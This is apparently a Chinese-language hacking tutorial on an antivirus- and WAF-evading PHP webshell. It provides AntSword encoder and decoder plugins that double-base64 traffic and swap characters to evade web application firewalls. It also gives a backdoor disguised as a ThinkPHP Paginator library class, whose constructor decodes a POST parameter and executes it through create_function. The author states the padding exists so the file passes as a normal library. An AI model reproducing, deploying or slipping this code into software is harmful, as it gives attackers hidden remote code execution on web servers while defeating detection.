无eval 木马免杀人免杀D盾
编码器进行的加密,首先对传输的数据进行2层base64加密,由于一般waf可以对base64进行解密,然后在做检测,为了更好的绕过waf,这里对base64中的x字符进行替换变成***,这样在waf遇到这些数据的时候,就会识别不出来,具体代码
/**
* php::base64编码器
* Create at: 2020/07/17 13:04:17
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Math.random().toString(10).substr(-1);
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = Buffer.from(data[pwd] ).toString('base64');
data[pwd] = data[pwd].replace(/x/g,'***');
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
蚁剑解码器
这里的解码器和上面的方法一样,对输出的数据进行base64两层加密,然后在将其中一个字符替换成其他内容,达到绕过效果,具体代码
/**
* php::base64解码器
* Create at: 2020/07/17 13:00:30
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
$tmp = @base64_encode(@base64_encode($out));
$tmp = str_replace("c","---",$tmp);
echo $temp;
return $tmp;
}
`.replace(/\n\s+/g, '');
},
//
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
//let temp = data.toString();
let temp = data.toString().replace(/---/g,"c");
console.log("ddd");
console.log(temp);
console.log("ddd");
temp = Buffer.from(temp.toString(), 'base64');
temp = Buffer.from(temp.toString(), 'base64');
return temp;
}
}
对应的免杀shell
由于传输的编码器内容进过一些简单的加密处理,所以在shell中要进行解密,这里写得这么多主要是为了让别人认为这个一个正常的库文件
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
//------------------------
// Paginator 内置实现方法
//-------------------------
class Paginator
{
// 路由规则
private static $rules = [
'get' => [],
'post' => [],
'put' => [],
'delete' => [],
'patch' => [],
'head' => [],
'options' => [],
'*' => [],
'alias' => [],
'domain' => [],
'pattern' => [],
'name' => [],
];
protected static $init = false;
/**
* @var string 当前模块路径
*/
public static $modulePath;
/**
* @var bool 应用调试模式
*/
public static $debug = true;
/**
* @var string 应用类库命名空间
*/
public static $namespace = 'app';
/**
* @var bool 应用类库后缀
*/
public static $suffix = false;
/**
* @var bool 应用路由检测
*/
protected static $routeCheck;
/**
* @var bool 严格路由检测
*/
protected static $routeMust;
/**
* @var array 请求调度分发
*/
protected static $dispatch;
/**
* @var array 额外加载文件
*/
protected static $file = [];
/**
* 记录时间(微秒)和内存使用情况
* @access public
* @param string $name 标记位置
* @return void
*/
public static function remark($name, $value = '')
{
self::$info[$name] = is_float($value) ? $value : microtime(true);
if ('time' != $value) {
self::$mem['mem'][$name] = is_float($value) ? $value : memory_get_usage();
self::$mem['peak'][$name] = memory_get_peak_usage();
}
}
public function __construct(){
$this->content = $_POST['content'];
$this->content = str_replace("***", "x", $this->content);
$this->content = base64_decode(base64_decode($this->content));
$name=$this->getName();
$name();
}
private function getName(){
$b = create_function('', $this->content);
return $b;
}
}
/**
* 创建一个URL请求
* @access public
* @param string $uri URL地址
* @param string $method 请求类型
* @param array $params 请求参数
* @param array $cookie
* @param array $files
* @param array $server
* @param string $content
* @return \think\Request
*/
$server['PATH_INFO'] = '';
$server['REQUEST_METHOD'] = strtoupper($method);
$info = parse_url($uri);
if (isset($info['host'])) {
$server['SERVER_NAME'] = $info['host'];
$server['HTTP_HOST'] = $info['host'];
}
if (isset($info['scheme'])) {
if ('https' === $info['scheme']) {
$server['HTTPS'] = 'on';
$server['SERVER_PORT'] = 443;
} else {
unset($server['HTTPS']);
$server['SERVER_PORT'] = 80;
}
}
new Paginator();
if (isset($info['port'])) {
$server['SERVER_PORT'] = $info['port'];
$server['HTTP_HOST'] = $server['HTTP_HOST'] . ':' . $info['port'];
}
if (isset($info['user'])) {
$server['PHP_AUTH_USER'] = $info['user'];
}
if (isset($info['pass'])) {
$server['PHP_AUTH_PW'] = $info['pass'];
}
if (!isset($info['path'])) {
$info['path'] = '/';
}
$options = [];
$options[strtolower($method)] = $params;
$queryString = '';
if (isset($info['query'])) {
parse_str(html_entity_decode($info['query']), $query);
if (!empty($params)) {
$params = array_replace($query, $params);
$queryString = http_build_query($params, '', '&');
} else {
$params = $query;
$queryString = $info['query'];
}
} elseif (!empty($params)) {
$queryString = http_build_query($params, '', '&');
}
if ($queryString) {
parse_str($queryString, $get);
$options['get'] = isset($options['get']) ? array_merge($get, $options['get']) : $get;
}
$server['REQUEST_URI'] = $info['path'] . ('' !== $queryString ? '?' . $queryString : '');
$server['QUERY_STRING'] = $queryString;
$options['cookie'] = $cookie;
$options['param'] = $params;
$options['file'] = $files;
$options['server'] = $server;
$options['url'] = $server['REQUEST_URI'];
$options['baseUrl'] = $info['path'];
$options['pathinfo'] = '/' == $info['path'] ? '/' : ltrim($info['path'], '/');
$options['method'] = $server['REQUEST_METHOD'];
$options['domain'] = isset($info['scheme']) ? $info['scheme'] . '://' . $server['HTTP_HOST'] : '';
$options['content'] = $content;

